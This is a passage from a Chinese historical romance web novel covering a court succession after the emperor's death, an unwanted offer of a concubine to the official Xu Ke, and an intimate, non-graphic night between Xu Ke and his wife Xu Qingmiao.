“那你只能用一碗,这绿豆羹解暑,但性寒仔细耽误药性。” 许清妙细想也有道理,默默颔首。 俩人吃完,许清妙没了继续帮忙绣花的心思,心底还是担心宫中情况。 可看着眼前静静绣花的四妹,许清妙也不好过度忧虑,怕坏了四妹的心情,总归忧思情绪还是不要太过表露。 她便另起了话题:“四妹,我问你个事吧,你方便回就回,觉得不好开口就不回,成吗?” 许清雾不解看着她:“成吧,你问。” 许清妙凑近她,低声问道:“四妹,你会想生孩子吗?” 她本想告诉她自己吃药是为了治宫寒,可又觉得家里人估计还不知道她宫寒难以受孕这事,还是不要说出来为好。 许清雾一愣,沉默半响,释然道:“说心里话,我是想的,有个自己的孩子日子总不至于太难过,你别看我平日里冷冷清清只会读书写字,其实我最想的还是夫妻和睦儿女双全。” 许清妙倒还没想过这些,毕竟现在的她还是个刚及笄的少女心态,而比她小了一个月的四妹倒是已经真正十八岁,过了三年的婚后生活。 “三姐,你这三年都没怀孕是因为不想生吗?” 许清妙摇头,又解释说:“我也没不想生,就是觉得太快了。” 在不为人知的角落,她和哥哥满打满算才在一起一个月呢。 许清雾不解地推了推她的手,气笑道:“姐姐,你们都成婚三年了,还快呀?别人像你们这般恩爱的都三年抱俩了。” 许清妙埋着头不反驳,谁能信他们现在才刚刚开始呢。 俩人说了说心事,猛然间被一阵厚重而沉闷的钟声打断。 “鸣钟了,哥哥他们成功了!” 许清妙双手捂着嘴,激动地站了起来,幸好还记得这是皇帝驾崩的丧钟,忙将喜色收敛住了。 · 黑云压城,闷热的午后一场暴雨如期而至。 金顶红墙的宫殿内像坟场一般安静,以至于隔了数座宫墙仍旧能听到紫清门传来的厮杀声,金戈嘶鸣在两刻钟后渐渐减弱直至消失。 “铛!铛!铛” 皇帝驾崩的钟声响彻宫殿上空,一直瑟瑟发抖不敢发声的宫人终于放声痛哭。 惊恐远远大于哀伤。 皇帝的龙榻前,太子已经脱下孝衣,换上了新帝的冕服,小小的身体还在抽泣发抖。 许恪敛眉跪下,身后的一众侍从也跟着跪下。 “殿下,该前往正乾殿处理叛乱了,国事为重,眼下陛下的丧事也得您亲自主持。”说完,他又补充道:“您别怕,韩相和臣都会协助您。” 该有的恭敬得给足了,既是给小太子信心也是给宫人定调,小皇帝虽小,却是正儿八经名正言顺的帝王,谁也不得轻视怠慢。 小太子红着眼睛看向他,稚嫩的脸庞上满是信任:“许翰林,我要怎么做?” 许恪弯腰,恭敬而详细地将接下来的事情给他讲一遍。 “您别担心,大皇子已经伏诛,其他人成不了事也都已经投降了,该杀的该放的韩相都已经为您列好了,您只需看过后应下就成。” 小太子颔首,小声问道:“可是由四大辅政大臣一起商议?” 皇帝遗诏的后半段,详细的安排了四位大臣辅佐新帝,分别是内阁右相韩烈,三朝元老左英,宗亲陈荣郡王,还有便是年纪最轻的许恪。 真要算起来只能算三位,左英威望最高年龄最大为人稳重忠心,陈荣郡王虽是宗亲功劳也大,却是武夫,有韩烈镇得住他。加上许恪不过是给小皇帝上了一层保险,因为韩烈为人城府极深,日后权力膨胀会如何谁也难测。 韩烈和许恪虽为师徒,但许恪年轻资历浅并不足以撼动朝政。但假以时日,皇帝成年亲政,许恪便是最好的助力。 许恪略顿回道:“是的。” 小太子抬手拉了拉许恪的衣袖,糯糯道:“那翰林你带我走吧。” 许恪暗暗皱眉,但此时也无法多说其他,只能行礼起身带路。 还好,随着他的起身,小太子松开了拉着他袖子的手。 殿外,暴雨未歇,迎着暴雨踏水而来的是披金带甲的禁军统领萧云牧,长刀入鞘,身后跟着一队铁甲玄衣的禁军护卫,带着腥气与寒意躬身对小太子行礼:“殿下,叛逆全部扫清,请移驾。” 小太子微不可察地抖了抖,抬眼看向许恪。 许恪对着萧云牧使了个眼色,暗道这人也忒不知轻重了,故意吓小太子呢,难怪小太子最怕的就是他。 但这人又奇怪的很,许恪几乎没有费什么力气就拉拢了禁军,他本以为是已逝皇帝的余威震慑,可现在看来这人大概也没想过害小太子,就纯粹是故意逗他。 “萧统领,殿下正要过去,你先去前面等候。” 可别再来太子跟前晃了,小孩哭红的脸都吓白了。 一切有条不紊,许恪领着小太子在城墙上露了面,接着又领着他进了正殿,韩烈和众大臣皆在。 踏入殿门那一刻,许恪退后了三步,从此小太子成了小皇帝,君臣有别,他做再多也是遵皇命而已。 小太子一路慢慢吞吞地走过,臣公皆是一脸恭敬,连严万良这个大皇子党也赫然在列。 外面大皇子谋反,这个老狐狸自陛下遗诏后便躲了起来。 许恪扫过他的身影,不作停留,跟着小太子走到他如今的位置才停下。 后面有御前总管临福小心地扶着小太子登上了台阶,往那龙椅走去。 许恪瞧见临福满脑袋瓜子的细汗,知道他是被吓得,今早那叫方检的内侍太监被禁军打死在了宫前。 皇帝御前两大总管,一个伺候前朝,一个伺候内庭。 如今新帝即位,正是需要用人的时候,有老人熟人在前朝伺候自然好,但这人能不能用却是要有考较的。 许恪将目光投向了自己老师,正处于大雍朝权力巅峰的右相韩烈。 第38章 第38章 京城大街小巷一夜之间挂上了国丧白幡,寺院道院每日鸣钟诵经,一声一声的钟声从远处传来,提醒着世人即将改朝换代。 新皇即位诏书分抄多份,以极快的速度分发到了各省行道,进京吊唁的王公大臣将不日而至。 朝堂上,却正上演了新帝即位的第一件纷争,宗亲陈荣郡王坚持严惩谋反将士,将军以上斩立决,兵士流放。 “臣以为,以儆效尤方能震慑魍魉宵小,陛下年幼刚刚即位,正是立威之时,这时候杀人立威效果立竿见影。”陈荣郡王年过半百,一脸胡渣目露凶光,但态度还算恭敬,微微弓着身向小皇帝力荐。 许恪侧目瞥了眼韩烈,一向喜怒不行于色的老师微微蹙着眉,不动*如山的候着,没有急着反驳。 据许恪所知道的,哪些人该杀哪些该放,韩烈已经列出了名单,只等着交给小皇帝让宣读使念了。 不待韩烈出声,自有刑部尚书已经请复道:“叛臣陈胥已经伏诛,与之合谋的也已自裁于宫门下,剩下的皆是些听令行事的兵将,臣以为陛下刚刚即位,应当以仁义收服将士。” “宽林,你这小子打的什么算盘?仁义能当饭吃?让人怕才能立威。”陈荣毫不留情面地反驳。 被当庭叫小子的刑部尚书宽林,脸上漆黑,冷笑道:“郡王所言偏颇,臣只是直抒己见,如何决定还是得陛下圣断。” 俩人争执间,小皇帝的目光投向了许恪。 许恪暗道不好,朝堂上小皇帝对他太依赖,会给他招来祸事的,但他也无法忽视小皇帝眼中的希冀神色。 不得已,他还是跨步出列,躬身道:“臣以为,治国如烹小鲜,过犹而不及,该饶恕的应当饶恕,该杀的也该杀。” 他的这句话一出,右相韩烈便站了出来:“臣以为,存异心的该杀立威,但诚如宽尚书所言普通将士轻罚即可,具体的臣这里已有一份拟好的名册,还望陛下和各臣公听听再做判断?” 韩烈身长不高,但没人能忽视他的存在,精瘦挺直的身影立在朝臣最前方。 到这里,小皇帝算是找到了方向般松了口气,连忙道:“准。” 陈荣不屑这般轻饶,但也给韩烈面子没有再反对。 这一场风波虽轻轻揭过,许恪却觉出些味来,先帝让陈荣这个爵位不高功劳不小心思粗狂的宗亲辅政,怕也是为了给韩烈添堵却不至于出大乱子。 接下来,小皇帝还算有模有样,将后面的事情按照既定的步骤办了下来,处理完了叛贼,先皇的丧仪也定了下来。 内务府早就有拟好的丧葬章程,只需经过皇帝和百官的议定就行了,这事小皇帝更插不上嘴,完全是三位辅政大臣议定的,当然许恪也没过问,毕竟他在辅政大臣里算是人微言轻。 最后,新帝的朝臣任命也公布了,当然这次的诏书是先帝早就拟好盖印了,只等着小皇帝亲自颁下。 许恪不仅有了辅政大臣的名号,而且升任参知政事兼户部侍郎。而他老师韩烈是右相兼任户部尚书,许恪相当于成了韩烈最直接的副手。 这样的安排,许恪已经心中有数了,也深深体会到先帝临终时单独见他的用意。 小皇帝散了这场临时紧急开展的朝会,终于跟着身边亲近的内侍回了寝宫。 皇帝走远,朝臣们却若有所思,有人低调地走了,有人踌躇着与新晋的官员攀交,也有人瞧准了时机果断出手。 忙了好几日,如今宫内的事情基本初定,各部门的政务也在掌握下没乱,许恪也准备回家一趟。 他跟在韩烈身后,俩人皆是头戴展脚幞头、身披红色官袍,行走间尽是官员风度,许恪身高修长随着韩烈走过,远远看去俩人形同父子。 反观真正的许父,许坚早就随着许淳父子走了,只因一朝爷孙四人不得不避嫌。 宽林提着长袍从后头追上来,“韩相,请留步。” 许恪随着韩烈转身,大殿上黑脸凶相的宽林正一脸笑意,身材高大几个跨步就追了上来,拱手行礼。 “宽尚书。”韩烈脸色温和,拱手回礼。 许恪在一旁也回了礼,看出来他们有话要说,“要不我先走一步?”自觉回避。 可惜,宽林连忙拉住他,笑道:“这事也是冲你的呀,许参知可不能走。” 韩烈不由侧目挑眉,看了眼许恪,问道:“这话怎么说?” 宽林摸了摸胡子,笑道:“我这往后还得仰仗您和许参知,谁不知道你们师徒俩亲比父子,韩相您介不介意我跟许参知结个姻亲?” 宽林笑得诚恳,算盘也打得响,他其实更想直接将女儿嫁给韩烈,但韩烈这人心思难探,家中竟无妻无子,唯一的一个养女也早早嫁了人,思前想后还是决定将女儿嫁给许恪。 许恪愕然,连声拒绝:“不成不成,宽尚书有所不知,我家中早有贤妻。” 宽林毫不介意道:“大相公哪个不是三妻四妾?我那庶女给你做个妾还是高攀了,这般唐突主要还是想与韩相还有你多份亲近。还望许参知莫要嫌弃就好呀。” 许恪侧身看向韩烈,韩烈难得露出点看热闹的笑意,“不懈,听说宽林夫人是远近闻名的才女,他的女儿应该差不了,要不要考虑下?” 许恪早年拜在韩烈门下时,韩烈为他取了字,就叫“不懈”。恪者,始终不懈也。 “老师,您知道我的。”他说的隐晦,韩烈却是能听懂的,他曾经在酒席后主动告知过韩烈自己有洁癖一事。 韩烈抬手拍了拍许恪肩膀,意味深长地说道:“宽尚书好意,你自己看着办,为师不能干涉你的私事。” 转头韩烈面向宽林,抬手作别,“今日事多,本相还得去前头忙,就不耽误你们商量了。” 宽林有些傻眼,这师徒俩果真是毫不近女色? 他不信。 大步走近许恪身旁,“许参知,你也别急着拒绝嘛,回去商量商量再给我回复?” 说完,他就追着韩烈去了,留下许恪满头雾水站在原地。 · 落日像只被人挤瘪了的蛋黄,昏黄的光线晕在许家大宅门口的两只石狮子上。 狮子一侧立着白幡,许老爷子领着一众子孙跪在大门口,朝天子方向痛哭哀吊。 全家老少皆是素服缟衣,庄重而肃穆。 许清妙穿着一身烟灰色暗纹襦裙,头上仅簪着一朵素雅绢花,俯身跪在王氏身后,一脸诚挚的哀伤。 要说她有多伤心,那倒没有,毕竟皇帝再威震四海,她也不认识,她主要还是为了配合老爷子。 老爷子在前头哭得情真意切,公爹叔伯也都提袖擦泪,婆母婶娘各个低泣,她真不好表现太差。 许家这番作态不能太久,也不能没有。 在京的官宦之家总得为皇帝驾崩做出悲痛的表态,时间长了别人觉得你做戏,不哭一哭,别人以为你对皇帝驾崩没有表态。 总之,这度得拿捏了。 一刻钟后,众人起身,收拾收拾各自回屋。 许清妙随着女眷刚要踏进内院月门,便听到身后传来急促的喊声。 “少夫人,您稍等。” 她转身回望,见是许恪的贴身随从随安正跑过来,其他人听见了也看过来。 这是随安第一次自作主张,什么都还没说他背后就紧张得冒汗。 只因他侯在宫门外时,听到有人议论纷纷:刑部尚书要将庶女送给许参知当妾,真是好谋算。 他本不以为意当个热闹听,可等到公子露面,亲耳听到有人喊公子许参知时,他才意识到议论的主角是自家公子。 纳妾?那是不可能纳妾的。 但一路上随安还是忐忑不安,他脑子里一会是二公子,一会是各位老爷,似乎好像都有或者有过妾室。 不觉坐不住了,等到下了马车,公子与老爷他们说话时,他便偷偷溜了过来。 可眼前老太太、大夫人、二夫人还有四小姐,全都停下步子看向了他。 随安立在原地,磕磕巴巴地喊人,半点平时的机灵都没了。 王氏哼道:“大呼小叫的又不说话,难道是我们听不得不成?得了,都走吧,小两口就几日没见要传什么悄悄话了。” 老太太点点头,被王氏扶着走远,许清雾娘俩也笑笑离开。三房的李氏一开始就没停下来,早走得没影了。 许清妙清了清嗓子,提醒随安,“说吧,叫住我是有何事?” 其实,随安出现在府里,女眷们基本都知道是许恪回家了,许清妙自然也清楚。 随安小半天还是支支吾吾地说不清楚,许清妙莫名就心慌地急了:“随安,你倒是说呀?莫非哥哥出什么事了?” “不是,不是,哎,我不知道怎么说,就是少夫人,您得小心了,外面有人想送庶女给少爷当妾呢!” 随安一个嘴快,直接把全盘托出了,说完都不用他再解释了。 许清妙松了口气,顷刻间又惊呼:“谁家这么不要脸啊,好人家的女儿送给人家当妾?” 随安低声道:“刑部尚书,少夫人还是小声点,来者不善呢。” 鹊枝跟在许清妙身旁也乍舌,只见过穷人家送女儿给富贵人家当妾,没见过高官人家也送女儿的,即便是个庶女那也是有失脸面的事吧。 随安和鹊枝不懂,许清妙却知晓一二,最近她和四妹走得近,听说了不少京城里达官贵人府里的糟粕事。 送庶女纳妾还算光明正大的,有些荤素不忌的收用了的美妾都当礼物送人。 “那翰林怎么说?” 随安挠了挠头,暗道糟糕,他都没问过公子怎么想的就跑来通风报信了。 他感觉自己皮都紧了,连忙求道:“少夫人,我忘了问翰林了,这话是我从别人那听来的,你可千万不能跟翰林说是我告诉你的。” 即便不说,公子肯定也能猜到,但随安准备躲远点不认就是,反正他家公子肯定不会纳妾,也不会责怪他向着少夫人的。 许清妙瞥了随安一眼,没想到这个从小跟在哥哥身后的小厮挺上道,对她这般看重呢。 于是,她爽快安慰道:“别担心,我保你没事。” 鹊枝摸了摸额头,她家小姐又拉拢随安了,过去这三年这种事可没少做,不过这回这小子还算有良心知道来告状。 看来还是小姐有办法,她以后也对随安好点。 · 许恪回到俩人住的小院时,许清妙刚沐浴完,正躺在廊下摇椅上晾头发,身上穿着白色的真丝裙,素颜清丽、黑发披肩,活像刚从月宫走下来的出逃仙子。 仙子正对着他甜笑,“哥哥,你终于忙完回来了。” 许清妙没起身,许恪几步跨过阶梯,撩袍坐在她身旁的矮凳上,那矮凳是丫头们坐着给她捏脚用的。 亏他不讲究,也学着丫头们捏了捏她的小腿。 “三妹妹怎么不来前院找我?随安不是跑来给你报信了?” 许清妙亮亮的眼睛转动,知道随安肯定没有主动坦白,顺着许恪话说道:“你在前院跟爷爷他们有要事说,我去了不得耽误事?我知道哥哥忙完肯定会回来找我,你瞧这不月亮都没出来呢,你就回到我身边了。” 许恪捏了捏她的下颌,压着嗓子道:“三娘口是心非,随安回来可不是这般说的。” 许清妙微楞,随安这傻小子不会自己承认来给她通风报信了吧? 虽不是什么要紧的事情,但这种事情挺适合她去逗一逗哥哥的。 许恪不过是看出来随安有事瞒着他,这小子回府就去找清妙了,也不知告了什么状,回来时还是一脸的汗,心虚得不行。 这下,他不想多想不行,怎么都猜到了随安跟清妙说了些什么,虽是无稽之谈,但他倒是想知道三娘会怎么问他。 “随安怎么说的?” 许恪倾身一手撑着头靠在她身下的躺椅上,一手从她腿上抚过,搂上她的腰,眼睛灼灼地看着她不说话。 许清妙脸上顿时红霞遍布,抓上他的手臂,轻拍了一下,“哥哥,你说呀。” 许恪低头凑在她耳旁,滚烫的声音说道:“说什么?” 院子里丫头婆子来来往往,见此情此景都熟练的不约而同地避开了,许清妙甚至听到鹊枝脚步飞快地从里屋跑了。 下过暴雨的夏日傍晚,太阳已经完全落下。 昏暗却不完全,许清妙仰头望进许恪眼底,那眸光中不知何时染上了熟悉而陌生的欲色。 “你” 她话还说完,便觉一股不容她拒绝的力道压了上来,唇上火热,浅浅几下便往里探,搂在她腰上的手不知何时捏在了她的后颈,将她整个捧向他。 院子右侧有处不大的池塘,雨后的池塘里一只蛙叫起,渐渐的另一只也叫起,直到连成一片。 “好吵。” 许恪松开她时,许清妙觉得自己软成了水,比那池塘里水还要浑,那蛙还来凑热闹。 “那我们进去。” 许清妙仍旧晕飘飘的,许恪已经单手将她抱起,空出一只手拿过搁在一旁的小匣子。 他不清楚里面放的什么,但他看出来回来前,清妙正在打算看它。 屋里静悄悄的,烛光通亮,许清妙将脑袋埋在了他颈后,略红肿的唇蹭着他的颈侧。 很痒。 许清妙的一只素色绣鞋掉在了外面摇椅上,一晃一晃地还在随着摇椅荡。 “净房有水吗?” 许恪亲了亲她的耳垂,模糊地问道。 许清妙差点没听清他说什么,水润的眼睛看着他半响才软软回道:“有,早就备好了。” 她被放在了拔步床内,可她还紧紧搂着他的脖子没松手。 许恪勾唇又吻了下去,直到她气喘吁吁地两手推他,才还算从容地起身。 “很快,别急。” 许清妙愕然瞪圆着双眼,谁急了! 明明是他急得不行,可他说完就转身进了净房,留下许清妙嗷呜一声闷在被子里。 好一会,滚作一团的被子里探出一只手,摸了摸散落枕头的长发。 不知何时已经干了。 推开被子,她捂着红了一片的脸转头,那铜鎏金珐琅小匣子赫然在旁。 洗完头发,她躺在摇椅上纳凉,鹊枝突然将那小匣子拿给她,神秘兮兮地耳语道:“小姐,今晚好好舒坦一番。” 许清妙接过,打开瞧了瞧,毫无意外那盒子里装的还是原来那些些奇奇怪怪的小东西。 实在好奇便翻了翻,一翻就找到了她昨日在书房翻了好久也没找到那首催妆诗。 原来是竟被锁在这盒子里保存着。 她见那纸张用的是时下最贵的澄心堂纸,小小一张写着几行字,格式看上去都不像一首诗,更像一首小词。 刚要细看,就听到怜星着急忙慌地跑来说翰林到前院了。 说时迟,那时快,她想都没多想就将那纸又塞进了匣子里。 还想让怜星将小匣子藏起来,又怕这丫头偷看,这些东西还是不要让小丫头看到为好。 于是,这盒子就被她搁在了摇椅旁不起眼的暗处,哪想到还被哥哥给细心地拿进来了。 要不要趁现在收起来呢? 许清妙咬了咬唇,犹豫不决。 不管要不要舒坦一番,起码她还是想看那首催妆诗,那可是能看出哥哥自带风流又对她有情的诗呢。 她捂着脸想了良久,还是决定留下它,任它搁在枕畔。 净房传来熟悉的水声,屋外的蛙叫声再听不见,许清妙只觉得自己耳朵里全是他洗漱的声响。 时不时还冒出,上一次她昏昏沉沉间被他搂抱在净房擦洗的场景。 哥哥练武又练字,手指上一层薄薄的茧子,手心的茧子却更厚些,那是他常年练剑留下的痕迹。 这样一双柔中带刚腕骨嶙峋的手,却有使不完的力气,能抱着她清洗,也能抱着她不掉下。 她还来不及多想些其他,净房里已经传来了开门声。 她闻声眺望,只见他仅围着擦洗的长巾便出来了,宽肩薄肌,还有她最爱看的腰身半隐在了长巾下。 “要喝水吗?” 许恪洗漱完,只觉浑身还是燥热,他已经有了经验知道这个冲凉水是去不了热的。 许清妙连忙颔首:“要喝的,桌上有泡好的桑葚菊花茶,清热消暑。” 许恪眉头都没动一下,利落地倒了一盏,走近递给她。 许清妙能明显地感受到他靠近时那股热意,明明在廊下吹着晚风时也没觉得他这般滚烫。 她微红着脸,接过一口气喝了一大半,那盏不小,她喝不完。 许恪接过她喝过的茶盏,仰头喝了,转身便将茶盏搁在了拔步床的梳妆上,不再走开。 “这几日一个人还睡习惯吗?” 他语气寻常像是要与她话家常,转眼便见他放下了床幔,抬脚上了床。 许清妙半合着眼,不敢瞧他,总觉得这时候的哥哥不能对视。 “还,还成,倒没做梦。” 许恪解开发髻,拉开薄被躺下,身上的巾子被他随手拉开丢下了床。 许清妙立马感受到了他肌肤的温度,像是刚从热锅里掏出来的一样。 她还在左顾右盼,腰间已经被他一手绕过,略一使力她整个人趴在了他身上。 “你” 她的手按在他的胸口,脸也贴了上去,干脆闭上眼睛,任他搂着自己。 “都没梦到我,我每晚都梦见你了。” 每一个绮丽的梦中,都是她妙曼的身影,她在他身边绕来绕去,像萤火一般无处不在。 许清妙听着他低低的声音,懊恼自己明明也梦见过,刚刚怎么就说没有做梦了呢? 这下显得她好像不记挂他似的,好在,他也没给她机会继续懊恼。 在她看不见却能感觉到地方,根本不容人思考。 一只手从被中探出,带着湿意捧着她的脸从眉心深吻而下,直到覆在她的唇上攻城略地。 许清妙握紧了手心又松开,等到换气时不由提醒他:“哥哥,国丧。” 国丧期间京中大臣是要守三个月热孝的,热孝期间禁嬉戏婚嫁。 许恪轻笑,低头又亲了下来,“别担心,你喝药期间是不会有孕的。” “你怎么知道?” 许恪低声凑近她耳朵,轻轻咬住,“林大夫走前跟我说的。” 她还想再说,却被咬得再无暇多问。 她侧着头被他抱在怀里,难耐的时候,泪眼朦胧地看着那小匣子,暗道早知道先拿出小匣子的东西与他看看了。 第39章 第39章 云做衣裳风为马,魂悸魄动枕席间。 梦初醒,竟是身后之人未曾停歇。 许清妙嘤咛转身,却被许恪捏住了腰间。 “乖,别动!”声音退却清朗只剩暗哑缱绻。 拔步床内已然昏暗,床外的油灯想是早就燃尽,她只觉哥哥竟像换了个人般,克己复礼荡然不存,而是一个不知节制为何物的无赖。 可细细感受,她又狠不下心来拒绝,尚记得此前自己是如何睡过去的,那般扣人心弦的爽快,令人沉醉不知归路。 她伸出细细的手指抓向身前的大手,黑暗中却被他精准地抓牢十指紧扣,按进了堆叠的锦绣软被中。 “哥哥”她用细细的嗓音喊他。 许恪粗重的呼吸顿住,沉沉的嗯了一声回应,“妙妙,想说什么?” 许清妙第一次听到他如父亲般喊她妙妙,一时头皮发麻,呜咽着说不出一句完整的话。 她好像又回到了梦里,乘风而起飘在半空,等到再恢复神智时,院子外鸡鸣阵阵。 竟然已是天光乍现。 身后的人终于歇了,紧紧地搂着居然也不嫌她身上全是汗水。 “哥哥都不累吗?这几日都没好好休息。” 许清妙懒倦地靠在他怀里,蹭着他的胸口,安静许久,在她以为他睡着了时,他低声轻笑:“累,但还能来一次,要不要?” 许清妙羞恼地推了推他,哼道:“不要,叫水吧,梳洗了还能睡一阵。” 许恪搂着她摇头,怕她看不见又轻声解释:“不睡了,天亮还得进宫一趟,今晚我早点回来再睡。” 许清妙不得不感叹他的体力之好,这一晚上也不知道睡了没睡,居然还有精力忙一天公务。 她拉响了床头铃,外间守夜的丫鬟轻手轻脚地端了热水进屋,放好后就懂规矩的带上门出去了。 许恪先起身,转身弯腰将她抱了起来。 许清妙惊呼道:“我自己洗。” 外面已有微弱的光线照进来,她才不要在清醒的时候让他伺候。 许恪平静道:“你站不住,这回精神还可以,等洗好了吃点东西再睡会。” 说完,他两手腾空将她抱起,走了几步转身坐在了软榻上,熟练地将她按坐在他大腿上。 等到俩人彻底收拾干净,许清妙感觉自己像是走了百里路,累得慌。 “不吃了,我困。” 但在躺下补觉前,她还记得昨日要问的事情,于是趴在床边巴巴看着他。 “昨日,真有人送你妾室?” 许恪闻声一顿,暗道随安果然是与她说这事了,这姑娘也算沉得住气,这时候才记得问他。 于是,他神色淡淡地说:“确有其事,但我当面拒绝了,你也不用放心上,哥哥这辈子都不会纳妾。” 许清妙心道果然,闻言不由反问:“要是我一直都生不了孩子呢?” 平心而论她是知道哥哥是长子嫡孙,需要有儿郎继承家业的,况且她还是父亲收养的孩子,许家人待她不薄,她身为许家长媳理应尽责报恩。 许恪停下正在系腰带的手,凝神看向她,认真回道:“生不了就从二弟那过继一个,这都不是问题。” “啊?” 许清妙没想到他看得如此开,大雍朝素有长房继承制,有些人家迫不得已才会从族里过继一个孩子,也有狠心的人家休掉正妻再娶以生养子嗣,但正妻无子的人家绝大部分还是通过纳妾多生几个。 没想到哥哥会直接选择过继这个法子。 许恪挽着袖口,晨光照在他深色阑袍上,他走近床边俯身看着她,漆黑的眼里清朗坚定。 “清妙,我前面跟你说过的话都忘了吗?” 许清妙糯糯地缩了缩头,“那倒没忘。” 他与她说过好几次不会纳妾,这辈子只有她一人,她都记得,只是有些时候还是会生出些担忧来。 “那就好好记着,哥哥说过的话都作数,如果不放心我可以当着祖父和族亲的面在祖宗牌位前立誓。” 许清妙连忙捂住他的嘴,“别,我就随口问问,你别吓我。” 许恪挑眉扯出点笑意,伸出手指捏了捏她的鼻尖,“你随口问问,我也会认真告诉你我的回答,有任何疑虑都直接问我,不要自己去猜。” 许清妙颔首,用鼻尖蹭了蹭他的手心:“嗯,我记住了,你快去用早膳。” 许恪起身继续穿戴整齐,发髻自己亲手挽起用一根白玉簪固定好,转头便看着说要睡觉的人正一眼不眨的盯着他。 “怎么了?有何不妥吗?” “哥哥自己挽发也好看。”她才不会说,她是因为看他自己穿戴看得入迷了,别家公子她不清楚,但自家的俩位哥哥那都是几个丫头伺候洗漱更衣的,小时候她嫡亲的弟弟还活着时,那也是婆子丫鬟一堆跟着。 突然间想起早逝多年的弟弟,许清妙微微叹气。 许恪几乎是在瞬间感受到了她情绪的变化,撩袍坐下,温声建议:“我帮你穿衣,你陪我一起用膳?” 许清妙乖乖颔首,撩过长发坐起身,此时她穿着素白中衣,天气尚热,得换下中衣换上襦裙。 许恪目不斜视将中衣给她褪了,里面已经穿好的藕粉色肚兜,许清妙连忙自己接过襦裙自己套上,只是身后的系带全是许恪帮她绑好的。 握笔提剑的手指轻巧地给她系带,晨光穿过窗棱照在俩人身上,倒映出影子,亲密无间。 她呆呆看着地上倒影,直到被他拉着坐下套上绣鞋,许恪才拉着她的手转了一圈确认是否穿妥。 “哥哥的手真巧。” 许恪勾唇浅笑,没有问她为何情绪波动,但她已被安抚好。 俩人携手走进饭厅时,许清妙已经笑了。 餐桌上是俩人爱吃的早食,浓稠清香的小黄米蜜枣粥,爽口蜜瓜,炸至金黄的甜口年糕,还有荷花样式的各色米糕,色香味俱全。 但全是素食,国丧热孝王公大臣皆要斋戒一个月。 鹊枝扎着侍女髻立在一旁伺候,提了茶壶给俩人倒了茶,碗里盛好粥。 等他们吃上了,鹊枝才在一旁开始汇报院子里的事情,皆是些琐碎小事,便只需许清妙听一耳朵的。 “昨日五小姐给老夫人来信,说是想进京,不愿待在云田了。” 鹊枝说完他们院子里的事,开始说府中要事,顺嘴便提了这么句。 许清妙不由搁下了碗,抬眼看向她,诧异道:“五妹妹嫁人了如何进京?” 鹊枝低声解释:“瞧着老太太语气,五小姐怕是要和离了,听说五姑爷娶了平妻,如今那平妻有了身孕,五小姐自从前年小产后就一直没怀上,在府里自是受了气。” “老太太还说,五小姐信里哭诉,如今一家人都进了京,留她一人待在云田免不得被人欺负。” 鹊枝说完瞥了眼许恪,见他也停了碗,便知道不用多讲了。 “那老太太有说什么时候安排人去接她进京吗?” 鹊枝摇头:“没说,老太太还在与二爷商量呢。” 许恪出声打断:“这事先让二弟去一趟,他在云田还有铺子正好要过去,了解清楚再说。” 许清妙看了眼鹊枝,知道这鬼精丫头是故意当着许恪面说的。 她从小跟五妹走得近,连带的鹊枝也跟五妹交好。 许恪似没看到她们俩的小动作,自顾吃完出门进宫了。 许清妙捏了捏鹊枝的耳朵,笑骂道:“少在哥哥面前耍心眼,他心里门清,别到时被罚了找我哭。” 鹊枝嬉笑着连说:“不敢了不敢了,少夫人,您一会用完药还补觉吗?” 许清妙摇摇头:“等午后再睡吧,待会去二婶那一趟,看看二婶怎么说。” · 辰时正刻,太极殿后殿,小皇帝陈奕已经早起穿戴整齐,正由宫人伺候着用膳。 先帝新逝,正值丧礼斋戒当中,满满一桌的御膳斋食,看得出御厨下了一番心思。 陈奕却只吃了一碗用玉米粉做的金玉丸子,再不肯动了。 小小瘦瘦的身体穿着帝制常服,常服领口袖口皆用金线绣着金龙,这些衣袍都是宫人这几日连夜赶制的。 身旁伺候的还是他当太子时惯用的内侍官常春,此时正好声好气地哄着他多吃点。 “皇上,您得多吃点呀,正长身体的时候呢。” 陈奕抿着嘴看他,“可是我吃不下了,实在没胃口。” 常春立马纠正道:“皇上,您得改口了。” 陈奕知道自己如今得像父皇一样自称为朕,可习惯一时难改,刚才一时又给忘了。 “朕知道啦。” 门口小太监禀报,“皇上,殿外许恪许参知求见。” 陈奕一听,眼睛微亮,朗声道:“让他快进来。” 许恪身姿挺拔,稳步踏进宫门,远远便瞧见小皇帝面前那长长一桌的御膳斋食。 他按宫规躬身行了常礼,陈奕从椅子上站起,快步走至他身边,双手扶起他。 “快起身。” 许恪道谢,扭头看了眼皇帝用过的玉碗,低声问道:“皇上可是吃不下?” “嗯。” “那便不吃了,等饿了再让宫人给你送来,只是还请皇上下令,让御膳房按规制上菜,国丧期间这般奢靡浪费是为不敬。” 陈奕赞同地颔首:“常春你去御膳房传旨吧,就按许参知说的办。” 常春应下,瞪了眼门口传膳的宫人,宫人直冒冷汗。 说完这事,陈奕又伸手拉了拉许恪的袖子,“许参知,朕加封你为太傅吧。” 陈奕当太子时,有三位老师,如今即位,那三位老师有两位告老还乡了,仅剩的那位也是个不愿涉政之人,反倒只剩下许恪一个在朝高官。 许恪心底又浮起怪异,莫非先皇连太傅这个名号都为他早安排上了。 许恪颔首,躬身道:“皇上还是与三位辅政大臣商量过后再定夺吧,臣都听命行事。” “嗯,朕会与大臣们商量的,定不会自作主张。” 许恪不好接话,开口提醒道:“皇上请移驾观德殿,今日得去为先皇守灵,政事有辅政大臣帮您看着,不会出问题。” 皇帝驾崩,新皇守灵也可以就近在后殿兼顾政事,但皇帝太小诸事皆有辅政大臣安排,陈奕便只需守灵就成。 辅政期间所经政事皆有本奏详细记载,陈奕想看也可以调取,亲政后更是可以追查追责,而眼下确实得听辅臣建议按先皇在世时的规制办事,不可尚作主张。 许恪随着陈奕到了先帝停灵之处,宫人哭成一片,更有不远处两名内侍抬着一人横着出来,不知死活。 “这是发生何事了?” 陈奕侧头看向许恪。 许恪低声道:“大概是惧怕陪葬,昨日陈荣郡王建议选宫人二十四人陪葬皇陵。” 小皇帝咽了口口水,“皇爷爷过世时也没有这样吧。” 许恪*摇头:“没有,这事还在商议中,并没有定下。” “那还是不要定下,太残忍了。” 小皇帝低声呢喃。 许恪没有作声,他就像个旁观者看着小皇帝。 可惜,终究做不到作壁上观,轻声提醒道:“皇上,该进去祭拜先皇了。” · 许清妙带着鹊枝走到二房院子前时,院里传来一阵低沉的诵经声。 院子里值守的丫鬟见了她连忙行礼。 “屋里在干嘛呢?” 许清妙探头往屋里瞧去,只见几名身穿僧袍的和尚正围着院子诵经,一人敲着木鱼一人拿着枝条洒水。 